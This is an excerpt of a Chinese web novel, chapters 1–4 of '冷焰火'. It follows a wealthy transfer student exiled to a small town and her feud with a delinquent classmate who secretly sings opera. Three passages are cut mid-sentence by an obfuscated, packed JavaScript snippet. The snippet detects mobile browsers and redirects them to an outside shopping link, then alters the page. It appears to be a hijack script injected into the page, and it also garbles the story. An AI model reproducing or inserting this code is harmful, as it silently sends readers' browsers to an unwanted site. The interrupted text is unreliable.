《冷焰火》 1. 杀虫剂×小孔雀 八月底,暑热依旧,树上聒噪的蝉不停地叫着。 徐娅坐在窗前看化学书,被蝉叫吵得不行,扭头往外喊:“张妈,那些蝉吵死了,你买点杀虫剂去灭一灭!” 张妈正打扫卫生,闻言走到徐娅的房门边,叹气道:“小姐,夏天的蝉哪里杀得完,你平时在热闹的聚会上都能看得进书,这两天是怎么了?” 怎么了? 徐娅垂眼,没有答话。 是了,自上周搬到这个镇子以后,她就烦躁异常。 张妈不明白她被徐父安排到这里继续念高中意味着什么,她自己却是晓得的。 徐娅咬紧了下唇。 张妈最后还是按着徐娅的要求去买了杀虫剂。她在徐娅还小的时候就在徐家帮佣,人虽算不上聪明,但贵在勤劳忠心。 徐父每月给徐娅巨额的生活费,还把张妈安排给她,也算是最后的仁慈了。 徐娅等夜深了,空气里白日攒下的暑气消了,才拿着杀虫剂下了楼。 尽管如此,还是很热,刚走到楼下的花园,她的裙子后背已经汗湿了。 徐娅觉得热得难受,可是她不想明天看书时还要被蝉鸣吵到,于是还是决定继续执行她的杀蝉计划。 小镇夜晚娱乐场所不多,大多数人九十点钟就已经歇下了,所以这会儿小区花园里静悄悄的。 徐娅找到离自己房间窗户最近的那棵树,仰头仔细听了一会儿。 吵得要命,肯定有很多蝉藏在里面。 徐娅摇了摇手里的杀虫剂,眯眼“盯”了一会儿隐藏在树里的那些蝉。 然后抓着树枝开始往上爬。 放在从前,徐娅做不出爬树这种事。 她是徐家大小姐,言行举止都是按大家闺秀来教养的。 但这几天不一样,这几天是徐娅的发疯期。 反正也没人看见,徐娅这么想着,更心安理得地爬上了树。 踩稳在树枝上,找到蝉鸣的方向,徐娅冷笑一声,按下杀虫剂开始喷。 一边喷还一边喃喃:“让你们吵我看书,我送你们归西!” 恶狠狠的,仿佛要把这些日子以来的愤怒都发泄在这些虫子身上似的。 正放肆地快乐杀虫,脚底下突然传来一个男声:“你在做什么?” 徐娅被吓了一跳,脚下一滑,直接从树上摔了下来。 她一屁股摔在花坛的泥里,尾椎骨被震得生疼,龇牙咧嘴地倒吸口冷气。 好在本就爬的不高,最多两米,这一摔痛归痛,倒也没摔出什么事。 只是手里的杀虫剂咕噜噜滚了出去。 一只脚踩住了那要滚远的杀虫剂,那人捡起杀虫剂瞅了瞅,然后走到徐娅面前,居高临下的声音响起,带着点漫不经心:“我当干什么呢,原来是有人虐杀小动物啊。” “注意你的用词!”徐娅又疼又气,瞪着眼睛抬头训斥,“杀虫子天经地义,怎么就虐杀小动物了!” 这一抬头,徐娅才发现害她摔了个屁股蹲的人是个和她年纪差不多大的少年。 少年身量很高,体型偏清瘦,肩却很宽,五官在背光的环境下有些模糊,却能隐约看出高挺的鼻子和一双眼皮狭窄、凉薄的眼。 他穿着件黑短袖,一条黑七分裤,一双塑料拖鞋,双手插着兜,正垂眸瞅着她。 “我没见过你。”少年问道,“你是新搬来的住户?” “关你什么事!”徐娅最近本就心情不好,这人害她摔了一跤,更是气得冒火,她站起来拍了拍裙摆上的泥巴,向少年伸出手,“把杀虫剂还我!” 少年抬了抬下巴,示意徐娅看花坛上插着的指示牌:“小区花园里的植物是公共财产,不允许攀爬踩踏,你想杀虫得跟物业说。” 徐娅被气笑了:“我当什么人呢,原来是个多管闲事的卫道士!” 少年扬了扬眉,似乎有些诧异,“卫道士”这种词有一天会被按在他头上。 徐娅见少年不动作,直接伸手抢走了他手里的杀虫剂。 动作相当凶猛。 少年低头看着一瞬间就空了的手,感叹似的:“你好凶啊。” 还每个字拖得长长的。 徐娅自小被夸举止有教养,一看就是大家闺秀,还头一次被说凶,气得手都抖了。 “神经病!”半天,徐娅终于憋出一个骂人的词。 少年非但没生气,反而被逗笑了。 “这词儿比卫道士听着顺耳点。” 被骂还能笑出来,果真是个神经病。 徐娅撇了撇嘴,不想继续纠缠,转身想继续她的杀虫大业。 那少年发现徐娅又踏进花坛,像是要再爬一次树,再杀一次蝉,诧异:“都摔了一次了,还要继续虐杀小动物啊?” 徐娅懒得跟他说话,也懒得争辩“虐杀小动物”这顶帽子。 少年见徐娅不理他,懒洋洋站一边看了会儿徐娅毫无章法、十分吃力的爬树动作。 啧,膝盖都被树皮擦破了,还扭着一股劲儿往上爬,真是个执着的人。 少年抬头看了看天上月亮的位置,估摸着这会儿都快十二点了,于是突然说道:“喂,穿裙子爬树,底下什么都看到了。” 徐娅正抱着根树枝想抬脚爬上去,闻言愣了愣,好一会儿反应过来少年嘴里的“看到”指的是看到什么。 她瞬间涨红了脸,骂道:“神经病!变态!” 少年点了点头:“词汇量有所增加。” 徐娅继续骂:“转过去,不许看!” 少年笑:“你让我转我就转啊?” 徐娅:“……无耻!” 少年:“不想被看光就下来啊。” 徐娅想到今晚吵人的蝉没杀死一只,反而一直被突如其来的神经病欺负,简直要气哭了。 当然,气哭只是个形容词,徐娅是不可能允许自己轻易哭出来的。 特别是当着讨厌的人。 少年见徐娅不说话,但也没下来的意思,继续说道:“对了,你发现没,你穿着白裙子。” 徐娅转头恶狠狠瞪了后下方的少年一眼:“我穿什么关你屁事!” 好粗俗的用词,徐娅内心批评了自己一句。 真是被这神经病气疯了。 “你爬树流这么多汗,裙子都透了。”少年淡定地继续说道。 徐娅愣住了。 整个人僵在那,抱着树干的手差点松开掉下来。 好在她反应快,紧急时刻又立刻抱回了树枝。 相同的错误不能一晚上犯两次,相同的树不能在同一个人面前摔两次。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13655315|144002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徐娅为自己机敏的手脚点了个赞。 “快回家吧。”那少年从兜里掏出手机,一边转着把玩,一边懒洋洋抬头看她,“不然我就拍照了。” 徐娅大骂:“无耻!神经病!变态!” “你是不是只会这三个词啊?” 徐娅最终没能抵抗住羞耻心,杀蝉大业中道崩殂,憋着一肚子火回家了。 接下来两天,她每天都在想,再让她遇到那个神经病,她一定要好好揍他一顿! 然后就是这么巧,徐娅很快就又碰到那少年了。 第三天是新学期开学,徐娅作为塘西高中高二3班的转校生,打算在新学期开学的首次露面中,来个华丽出场。 好弥补她这两个月以来一直受挫的自尊心。 徐娅很认真地选了衣服,打理了长发,还准备了自我介绍词。 走进教室,班主任说完“这位是来自沪市的徐娅同学,同学们鼓掌欢迎。来,徐娅同学你也来做下自我介绍,让同学们快速了解你”,徐娅抬头挺胸走到讲台上,用无比标准的语调,无比优美的声音,刚说完“同学们好,我是徐娅……”就卡住了。 为什么卡住了? 因为徐娅看到这个教室的最后排,坐着个眼熟的人。 那人也看到她了,他一手支着侧脸,歪着脑袋和她对视,许久,露出个笑。 徐娅觉得,这绝对是一个带着轻蔑意味的笑容! 三天前晚上愤怒的初见瞬间浮上心头,那种生气的感觉直冲脑门子,让徐娅都忘了她今天本来准备以“美丽优雅转校生”的形象登场。 台下的同学见她突然不说话,在底下偷偷议论起来: “我姑妈是教导处的,前两天就听她说这学期我们班会来一个转校生,是大城市来的,听说她爸陪她来办转学的时候开的是林肯呢!” “林肯是什么?” “土鳖,是一种豪车,很贵的!” “哇,那她家是不是很有钱啊?” “肯定有钱啊!” “这么有钱的人为什么突然转学到我们这种小地方的高中,教学质量又不怎么样,升学率也不高……” “这……这我怎么知道!” 徐娅缓过神来,听到了底下同学的议论,眸色沉了沉,随即很快调整了面上的状态。 挺胸、无意识扬起了头,下巴高高的,像只骄傲的小孔雀。 “我叫徐娅,先前在国内最好的私立高中雷捷公学念书,成绩年级前三十,会五种国家的语言,得过三好学生、最佳辩手、校体操比赛冠军,我相信无论哪一方面我都会让大家赞叹不已,今后还请大家多多关照。” 这自我介绍炫耀得过于直白,而语气里更是扑面而来的优越感。 一时间全班所有学生都愣了下,连方才议论她的那几个同学都忘了自己要议论什么。 老师也愣了下,他挠挠头,觉得应该说点什么给突然一片寂静的教室热热场子。 就在这时,有慢悠悠的鼓掌声响起。 坐在教室最后面的少年一边鼓掌一边赞叹:“那你好优秀啊!” 依旧是那种拖长每个字的语调。 徐娅一顿,眯着眼与那少年对视。 垂在身体两侧的手气得发抖,脸上的表情却愈发高傲。 2. 大哥大×小迷弟 班主任给徐娅安排座位:“班里这几个空位你想坐哪个?” 因为是转校,班里空着的座位不多。一个前排,两个倒数第二排,一个最后排。 徐娅其实不算很高,不穿鞋一米六五,但她最后选了最后排的座位。 她不喜欢前排,擦黑板会闻到粉笔灰。而两个倒数第二排的位置是同桌,且正好在那神经病少年前面——所有动物都知道,向敌人暴露后背是危险的行为,果断pass。 于是只剩下最后排那个靠窗的座位。 那神经病少年的座位是最后排靠门,和徐娅座位间隔着好几列学生。这让徐娅觉得有种安全感。 由于徐娅早自修登场时略显高傲的发言,一天课下来,竟然没什么同学来找她说话,似乎都觉得她有点吓人。 徐娅本来也没准备和这个镇子的土著们做朋友,倒也不在意。 虽然是小地方的学校,老师的教学水平倒还算合格,徐娅略微安心了一点。 第一天的课结束,徐娅收拾好书本和书包,准备回去。她瞥一眼门边的那个座位,那个座位不知从哪节课开始就没人了。 开学第一天就逃课么?徐娅给已经好感度负一百的少年又减了十分。 路过教室前的小白板,她发现原来有桌位表贴在上面。大概是为了方便对班级情况不熟的任课老师,让他们能快速地了解教室每个座是哪个同学的。 徐娅看向最后一排靠门的那个座位。 关铸。 那个神经病少年的名字。 徐娅心想,这名字真不好听,跟“关住”同音,十分不吉利。 徐娅背着书包离开学校,准备回去。 张妈本来想接送她上下学,徐娅拒绝了。这镇子不大,高中的位置和她暂住的小区也不远。 虽然是小地方,这镇子的建筑和风景倒是不错,有许多青砖黛瓦的仿古建筑,还有一条小河自镇东一路流向镇西。河两岸是郁郁葱葱的树,垂条的柳枝在晚风里划过河面,夕阳在河波上洒下金红的光辉。 徐娅来到这个小镇后一直心情不好,没怎么好好看过这个镇子。 徐父对她说,你好好在这里反省。 于是对于徐娅来说,这个镇子是她的流放地。 可是她看着这些风景,即使她不是什么感性的人,却觉得还是挺美的,对流放地的反感也略微消散了点。 徐娅忍不住坐在河边欣赏了许久夕阳。 眼见太阳快要沉下地平线,夜色也已经染了整个东边天空,这时徐娅隐隐约约听到了抽泣声。 那抽泣声时高时低,配合快暗下来的天色,有那么几分诡异。 徐娅循着那声音,往一条小巷子里走。 很快,她发现了声音的来源。 那是个有些瘦小的男生,皮肤很白,头发很长,软软地盖住了眼睛,有眼泪从他脸颊侧流下,是被吓出来的——因为面前那三个人高马大、烫发纹身的小混混。 “别以为跑到塘西高中就能摆脱我们,把钱拿出来!”其中一个小混混威胁。 “我真的没钱,我爸妈很久没回家了。”男生怯怯地说道。 徐娅躲在一垛高高垒砌的纸板后,偷偷观察着这出“霸凌”。 这男生穿着塘西高中的校服,大概是徐娅的校友。 徐娅犹豫要不要帮他一把。 可怎么帮呢? 她不可能直接跳出去,她和男生两个人加一块都不够一个小混混打的。 那出去找找有没有人能帮忙? 可这里是个文创园区,离居民区还有段距离,白天有人在这上班还算有点人气儿,这会儿大家都下班了,周遭十分冷清,估计不太好找到人…… ……难不成真要她肉身上前搏斗? ……要不还是算了吧,看那男生的样子,也不是第一次遇到这种事。她何必蹚浑水,也没什么好处。 正思考着,突然有个熟悉的声音响起。 “喂,你们三个,是北面三中的?” 所有人,徐娅、三个小混混、甚至发抖哭着的男生,都齐齐抬头,往说话者看去。 有人翘着腿高高坐在两米多高的围墙上,一只手托着脸,手肘撑在横着那条腿的膝盖上,懒洋洋看着底下四人上演霸凌大戏。 夕阳沉没前最后的光照在他脸上和身上,显得他整个人在发光似的。 徐娅眯眼,关铸? 他怎么在这儿? 还凹个这么装X的出场造型…… 这高低势差,这姿势,这打光……甚至连风都很配合他的出场,扬起他半长不短的黑发,为他多添几分张狂的气质。 显然,三个小混混也被这炫酷的出场震了下。 好几秒,其中一个小混混才回过神,不耐烦道:“关你什么事,别管闲事,快滚。” 关铸伸出一根手指,居高临下地凭空点他:“问你呢,你们是北面三中的?” 也不知道是不是关铸浑身上下那股B感太唬人,这小混混莫名气势弱了两分,回答道:“我们是三中的,所以呢?” 关铸笑了一下,不过那笑意和他那双眼皮狭窄的眼睛一样,十分凉薄:“有没有人告诉过你,这地界是我的地盘。” 三个小混混闻言愣了愣,开始打量关铸。 这少年穿着塘西高中的校服——准确地说,是穿着校裤,上半身是件黑色的短袖T恤。 其中一个小混混眼尖地看到关铸脖子上挂着的一根链子,怔了片刻,他反应过来,拉了拉另外两个:“他是塘西高中的那个关铸!” 关铸?! 塘西那个关铸?! 另两个混混震惊了,片刻,皱起眉,好倒霉,怎么好巧不巧遇到这人了…… “关哥,我们没想冒犯你的地盘,只是这家伙是我们那边的,本来升高中应该念三中,他偏偏跑塘西来念,摆明了是躲我们,我们只想教训一下他,跟关哥你没关系。” 哟,这就叫起关哥了? 站在暗处围观的徐娅心想,这镇子就这么丁点大,一共就两所高中,竟然还划分地盘的吗? 你的势力范围,我的势力范围? 啧,好中二。 “怎么跟我没关系?”关铸伸了个懒腰,扫一眼底下三人,“我本来在这儿睡觉,你们三个,吵到我了。” 三个混混互相看了看,一时间都不知道该接什么话。 “要么滚,要么被我打一顿,自己选吧。” 关铸从围墙上站起,开始活动筋骨,手腕关节发出咯吱咯吱的响声。 三个混混露出严肃而警惕的表情。 毕竟他们都是听过关铸这个人的,打架很狠,是塘西这片的一霸,没什么人敢惹他。 ……可,现下他们有三个人呢,关铸只有一个人。 其实也没必要这么害怕吧? 正纠结着,一个混混突然说道:“我突然想起来,之前他抢了个女的,那女的的男朋友找了十来个人想围殴他,他硬是把那些人全揍趴下了。” 另两人目瞪口呆。 三人对视间,有了决定。 “罗雾,这次算你运气好,你给我当心着,下次没这个运气了!”混混们冲那被霸凌的男生放了句狠话,走了。 徐娅远远注视那三人离开,翻了个白眼。好怂啊。 她还想看关铸被揍呢。 这边徐娅正暗暗惋惜,那边关铸已经从两米多高的围墙上下来了。 动作十分利落,在围墙边的一棵树上借了力,跳了两下,稳稳落到地面。 那个名叫罗雾的男生看着关铸下来,仰着脸,连眼泪都没擦,突然呆呆来了句:“好帅……” 徐娅听到,不屑地切了声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13655316|144002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一不小心“切”得有点大声,巷子里头的关铸和罗雾显然都听到了。 罗雾一脸茫然,怎么好像还有个人? 关铸则用半笑不笑的表情,凉凉说道:“哪来的阴暗生物,半天的戏还没看够么?” 徐娅嘴角抽了抽。她知道关铸早看见她了。 毕竟站得高看得远,刚才他还在墙上站着恐吓那三小混混时,两人视线就对上过那么一下。 徐娅只得从纸板垛子后面出来,还不忘追责关铸方才的讽刺:“你说我什么?阴暗生物?” “刚才在墙上看到时,我还以为是什么东西在躲躲藏藏呢,原来是我们新来的转校生,来自沪市的徐大小姐。” 徐娅被气得握紧了拳头。 关铸想到什么,突然笑了一下,抬了抬下巴示意旁边那棵树:“看到我怎么下树的没?” 徐娅意识到他在嘲笑初见那天的事。 徐娅咬牙,心说有本事你跟我比外语,我会五门外语,你会几门你个菜鸡! 可惜还没说出口,关铸就提着他的书包往巷子外走了。 徐娅气不顺,恶狠狠瞪着关铸的背影。真想冲这背影吐唾沫啊…… “这高瘦修长的背影,这凌乱的头发,这随意卷起的裤管,这散漫不羁的气质……真帅啊……” 徐娅鸡皮疙瘩掉了一地,嫌弃看了眼站在一旁感叹的罗雾同学。 罗雾发觉徐娅的眼神,摸了摸鼻子:“啊?你不觉得关哥他很帅吗?” “帅个屁。”徐娅嫌恶,“你懂什么叫帅?这人就一变态混混。指不定哪天就犯事坐牢了呢!” 罗雾:“……” 第二天早上上学,徐娅又经过了这条小巷。小巷口,她不自觉顿住了脚步,思考了片刻,她穿过小巷绕到了另一边。 那是关铸昨天傍晚出来的那个院子的正面。 徐娅也不知道自己干嘛特意转到院子正面来看。 显然,她对关铸有点在意。 但这不是什么正面的在意,更像是对敌人的在意。 徐娅思考了一会儿,果然,对于像她这样的人来说,会投注以注意力的,只有敌人了。 这个认知让她一时间有些低落。即使远离了徐家,到了一个偏僻的镇子,她好像也已经习惯那种斗争的生活了。 正沉浸在莫名的情绪里,院落的大门里突然出来个人。 来人很高,差点撞上徐娅。 徐娅吓了一跳,往后退了一步,抬起头,这才发现是关铸。 ……真是说曹操曹操到。 关铸显然没想到会遇到徐娅,他诧异:“你怎么在这里?” 徐娅可不想被知道她故意绕到这里是因为想刺探他的相关情况。 “路过啊,我上学经过这里。” 关铸淡淡瞥她一眼,没说什么,转身走了。 徐娅站在原地,正思考他走之前看她的那个略带不屑的眼神到底什么意思,突然被人拍了下肩膀:“小姐姐,又是你啊!” 徐娅转头,居然是罗雾。 大早上的,怎么罗雾也在这儿?! 罗雾腼腆说道:“我来找关哥道谢,没想到小姐姐你也在啊。” 徐娅皱眉:“来这儿找他道谢,他住在这儿?” 不对啊,按她和关铸初次见面时的情况来说,关铸很可能和她住一个小区。 罗雾说道:“不是不是不是,关哥在这儿帮工呢。” 帮工? 徐娅正想问关铸在这里帮什么工,罗雾又兀自说道:“小姐姐你是不是喜欢关哥啊?昨天我就看出来了,今天你又尾随关哥来了!好勇敢追爱的少女!” 徐娅整个人都惊了。 尾随? 喜欢?? 徐娅的脸扭曲成一团:“你这双眼睛没用的话可以捐给别人。” 3. 唱曲儿×徐家人 因为都要赶去上学,徐娅干脆拉着罗雾一起走。 最开始罗雾还想追一追已经走远的关铸,结果徐娅走太慢,没一会儿两人就看不到关铸了。 罗雾丧气:“赶不上关哥了……” 徐娅慢悠悠地走到罗雾边上,说道:“赶不上就算了呗。” 一路上徐娅有一搭没一搭跟罗雾聊天。 罗雾今年刚上高一,比徐娅低一级,原本应该去三中读高中,但因为一直被那一块的小混混欺负,所以找到在塘西高中当教务主任的姑姑,让姑姑把他的学籍转了过来。 然而没想到跑来塘西高中也没摆脱那群小混混,多亏了昨天关铸帮了他一把,不然他接下来两个月的零花钱又得被抢走了。 罗雾感激又崇拜救了自己的关铸,今天很早就来昨天遇见关铸的小巷子等,想再遇到他一次。 运气很好,一大早关铸就出现了。 关铸进了巷子旁的园子,他就跟着也进去了,关铸发现他,就告诉他,他在园子里帮工。 因为时间很早,园子里没什么人,但罗雾在里面看到了许多花里胡哨的戏服,还有很多道具。 所以罗雾猜测那园子是用来排练戏剧表演的。 关铸早上来这儿只是来拿昨天忘拿的校服外套,拿完就走了,罗雾跟着也一起走了。然后就在门口遇到徐娅了。 徐娅听罗雾猜测那园子是排练戏剧的,有点惊讶。 戏剧?感觉和关铸完全不搭啊。 今天关铸依旧只上了大半天课就早退了。徐娅猜测他可能又去“帮工”了。 放学后,徐娅站在教室窗户边等了会儿,很快就看到了一个人。 徐娅当即背着书包下楼,她小跑了一会儿,很快就跟上了那人。 “罗雾!” 罗雾转头看到徐娅,惊喜:“徐学姐!” 因为早上聊了不少有的没的,罗雾这会儿对徐娅还挺亲近。 徐娅走到他边上,眼睛不自觉瞥向一边,嘴上却淡定地问:“我看你急匆匆的,要去哪儿啊?” “去园子找关哥,早上时间太紧,我还没能和关哥多说几句话呢,而且我还想请他吃个饭来着。”罗雾一顿,说道,“正好碰见学姐你了,你陪我一起好不好?” 徐娅眨眨眼:“啊?” 罗雾有点不好意思:“其实我有点社恐,早上那园子还没开张没啥人,这会儿过去估计会有不少陌生人。” 徐娅点点头:“行吧。” 罗雾激动:“学姐你跟关哥一样是好人。” 徐娅扯了扯嘴角:“哈。” 和早上的冷清不同,这会儿还没到下班的点,园子里果然有不少人。 徐娅和罗雾进去后很快就看到了关铸。 只见关铸坐在一张小马扎上,马扎太低,他腿又长,只得膝盖往两边打开,因为天气热,他裤腿卷到小腿肚,上衣的短袖也撸到肩膀,露出两条白皙又结实的胳膊。 关铸面前还站着两个年龄很小的女孩。 那俩女孩扯着嗓子呜哇乱叫,关铸掏了掏耳朵,语气有点无奈:“你们这一吼,知道的是在唱戏,不知道的还以为杀猪呢,刚才我怎么发声的没看清楚?” 那俩女孩互相看看,心虚低下头,跟两根小豆苗似的。 关铸叹气,撑着腿站起来:“我再演示一次啊。” 徐娅和罗雾都停下脚步,好奇盯着关铸。 他似乎轻缓地吸了口气,而后声线突变,清越的曲调从他口中唱出:“绕绿堤拂柳丝穿过花/径,何处听哀怨笛风送声声……” 这是一句女腔的戏词,关铸唱词时的声音和他平时说话的声音差距极大。 他平时说话的声音比较低,还带点懒洋洋的腔调,而这句词却唱得哀婉又灵动。若不是亲眼看到,完全想不到这是关铸唱出来的。 罗雾忍不住摸了摸胳膊:“妈呀,鸡皮疙瘩起来了……” 关铸听到罗雾的声音,转头,视线扫过罗雾和徐娅。徐娅撇过头看向一边,一副不小心路过的样子。 关铸对突然出现的俩不速之客也没啥特殊反应,转回去继续教俩小女孩唱词儿。 又教了一会儿,园子的下班铃都响了,俩小女孩还是一句没学会。 小女孩听到铃声,向关铸鞠躬:“小关老师再见。” 关铸插着腰,无奈点点头。 等园子里不少人都走了,罗雾才上前去搭话:“哇关哥,原来你的帮工是在戏剧团教人唱曲儿啊!你还会这个呢,好厉害!” 关铸还没来得及说话,屋子里头传出个男人的声音:“厉害个屁,两天了,一句词儿都没给那俩小鬼教会。” 声音有点沙哑,说完还咳了咳。 徐娅转头,看到一个约莫五十多岁的中年男子走出来,他个子不高,身形偏瘦,留着小胡子,头发留得半长,在脑袋后面扎成一个小揪。 关铸凉凉道:“这些小孩的家长就是找个免费托儿所,小孩和家长都不是真心想学唱曲儿,你还指望能教出个神童啊?” 中年男子训斥:“你看事情能不能积极点,我们这叫发展潜在受众,你要是教得好,说不准人就真喜欢上了,开始认真学了呢?” 关铸冷眼看他:“行,您积极,明天您自己教吧。” 中年男子说道:“我这不是感冒了嗓子不行吗?才让你过来两天帮个忙就这么有怨言啊?” “两天也是我逃课省出来的宝贵时间。” 中年男子有点心虚,但依旧梗着脖子辩驳:“反正你不来这儿也不会好好念书,说不准又跟狐朋狗友鬼混去了,还不如在这儿帮我教小孩呢。” 关铸被这倒打一耙逗乐了,噗嗤笑出来:“行,您放个屁都得占着道理。” 男子:“……” 男子心虚挠了挠头,撇过眼,这才看到徐娅和罗雾还在。他瞅瞅两人,看到塘西的校服,询问:“你们是关铸的同学?” 徐娅还没开口,罗雾已经回答:“我比关哥小一级,学姐和关哥是同班同学。今天是学姐陪我一起过来找关哥的。” “你们好啊,我是关铸的……”中年男子想了想,说道,“叔叔,你们叫我关叔就行。” 罗雾性格温顺乖巧,徐娅看着就是个精英三好学生,关叔看俩人都十分喜欢,拉着俩人一边聊天一边往回家方向走。 关铸懒得参与,就一个人跟后面。 中途罗雾在公交车站坐车走了,走前还挥手和关铸约好明天中午要请他吃饭。 剩下三人继续走,等走到小区,关叔惊讶发现,原来徐娅和他们住一个小区。 关铸和他哥都住在关叔家,关叔没结婚也没孩子,就三个男人一道儿过日子。 徐娅有点奇怪关铸的父母呢?可似乎关叔有意不提他的父母,徐娅也就没问。 徐娅一向很能摆出讨长辈喜欢的样子,等到了楼下三人要分开的时候,关叔已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13655317|144002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经非常喜欢徐娅了。 “你看看人家姑娘,成绩好,会说话,会乐器,会体操,德智体美劳全面发展,你再看看你,整天鬼混。”关叔跟个老父亲一样教训关铸,“你哥也不这样啊,怎么就你这么让我操心?” 关铸左耳进右耳出,完全没把关叔的话放心上。 倒是徐娅听到关叔的拉踩言论,有点得意,感觉在关铸面前找回了点面子、“赢了一把”,临走前还冲关铸骄傲地扬了扬脸。 关铸看到,忍不住翻了下眼。 徐娅觉得这趟收获颇丰,不仅摸清了敌方人物的家庭关系、家长工作,还刷了敌方家长的好感度。 这操作,简直是农村包围城市,放在策略战里也是钻石水平了。 正陷在得意的愉快心情里,徐娅放在书桌抽屉里的手机突然响了一声。 徐娅瞬间就愣住了。 她有两只手机,一只是她现在正在用的,是来这个小镇以后才开的号码,另一只是她从前用的,平时放在抽屉里很少拿出来。 虽然很少拿出来,但徐娅知道自己一直很期待这只代表从前的手机能响起来。 正是因为太期待了,她才不敢将这只手机带在身边,怕一直处在期待、失望的循环里。 来这个小镇快两周了,这只手机一直是安静的,这是第一次响。 徐娅停了许久,才慢慢打开抽屉,把手机拿出来。 徐娅心想,消息最好是徐父发来的,这样就说明她可能很快就能回去了。 其次是那个人发来的,这样她可以运用她高超的语言能力尖酸刻薄地讽刺那个人一通,至少舒缓一下被流放的愤怒。 可惜以上都不是。 打开手机,短信的来信人显示“徐惠”。 徐娅名义上的妹妹。 “姐,你在外面还好吗?听说爸爸送你去的那个镇子风景很不错,你暂时先在那儿待一段时间,我和陆卓都会想办法让你回来的。还有,发生这种事,我真的很抱歉。” 徐娅看着短信好一会儿,最后摁灭屏幕,什么都没有回。 她没有想到,来到这个小镇后,徐家第一个联系她的会是徐惠。 其实她和徐惠算不上很熟。 毕竟徐惠是那个人的女儿,她从最初对徐惠就抱着警惕和一丝厌恶。 那个人,胡艳蓉,害她被迫来到这里的人,她的继母。 徐娅觉得,生活在徐家这样的豪门,很像生活在宫斗剧。 徐父是掌握大权的人,对所有人生杀予夺,其余人则是想尽办法争宠。 从前徐娅不信邪,觉得自己是徐家血统纯正的大小姐,从小被赞扬宠爱长大,根本没什么好怕的。 所以即使胡艳蓉进门,成了新的“徐太太”,她也没能认清自己的处境,用太过直白赤裸的恶意寻衅滋事。 要是她早点意识到徐父其实一直以来只不过是用评判物品价值的目光看待她,就不会知道那件摧毁了她世界观的事,也不会落到现在这样尴尬的处境了。 来到这个小镇令徐娅无比愤怒、烦躁,可也让她醒悟了许多,成长了许多。 这条来自徐家人的短信将徐娅一瞬间拉回了“她的现实”。 徐娅摇了摇头,抛开今天那丝“赢了一把”的得意,沉下心,抽出张卷子开始做。 价值,她要表现出足够的价值,让徐父看到。 其余的一切,只是小镇流放生活的调剂品。 4. 选班长×让你拽 开学第二周,同学们差不多从假期状态慢慢进入上学状态。 于是班主任决定开始高二学年班委的竞选。 徐娅早就琢磨着要当班委,而且还要当班委里的一把手。 所以班主任刚说完“那我们先开始自荐,大家踊跃举手,报名竞选岗位”,徐娅就举起了手。 班主任愣了一下,似乎没想到这么快就有人自荐,毕竟到高中以后,学生们一般就不怎么热衷当班委了,往常这种竞选到最后都会变成他直接点名、硬拉几个学生组成班委…… 班主任十分赞赏:“看看徐娅同学多么有斗志,大家也要向她学习,年轻人要有活力。” 底下的脑袋都低着,没人搭理他。 班主任挠挠脑袋,只得当自己刚才只是放了个闷屁。 “徐娅同学你要报哪个岗位?” 徐娅站起来,说道:“郑老师,我要报名竞选班长。” 班主任点头,在班长那栏的竞选人里写下徐娅名字。 徐娅已经转来塘西一周了,他这段时间观察了一下这个孩子,其实还蛮欣赏她的。 这孩子家庭背景强,从小也优秀,性格里确实有点不太讨喜的傲慢,但这样的人有野心,也能付出行动,让人能感受到她蕴含着不断生长的能量。 还挺让人眼前一亮的。 有徐娅带头自荐,个别其实也想竞选班委,但却因为氛围而不好意思举手的学生,也都举起了手。 不过总体上来说自荐的学生还是不多。 大部分岗位都只能凑上一个竞选人,有的甚至没有竞选人。 班主任只得继续进行他荐环节。 到了他荐环节,举手的学生明显多了起来。 “老师我推荐刘帅做劳动委员。” 刘帅本人:“玛德老子不想做!劳动委员哪次大扫除都躲不了!” 班主任:“安静,他荐环节不允许本人投否决票。” “老师,我推荐关铸做班长!” “老师,我也推荐关铸!关铸去年就是班长,他有经验!” 班主任心说他有个屁经验,只有当甩手掌柜的经验,作为班长逃学逃课经验倒是丰富…… 但奈不过关铸在班里人气高,不少人推荐他连任班长,班主任只得把关铸的名字写到徐娅边上。 徐娅坐在底下,见自己和关铸的名字被并排写着,默默翻了一眼。 转头,目光越过几列同学,她看到关铸正拄着脸在书桌下面玩手机,看起来对这场班委竞选没有投注任何关注。 徐娅抽了抽嘴角,眼睛上翻的力度更大了。 虽然他荐依旧没能让每一个班委职位都凑到竞选人,但也只能先进入投票环节。 到投票环节,徐娅忍不住有点紧张。 虽然她觉得自己挺优秀,也挺适合当班长的,但看起来关铸在班里人气很高——真不懂这小混混为什么会人气那么高,难道就因为长得帅?? 行,他确实长得还可以,但这个世界又不是靠脸吃饭的! 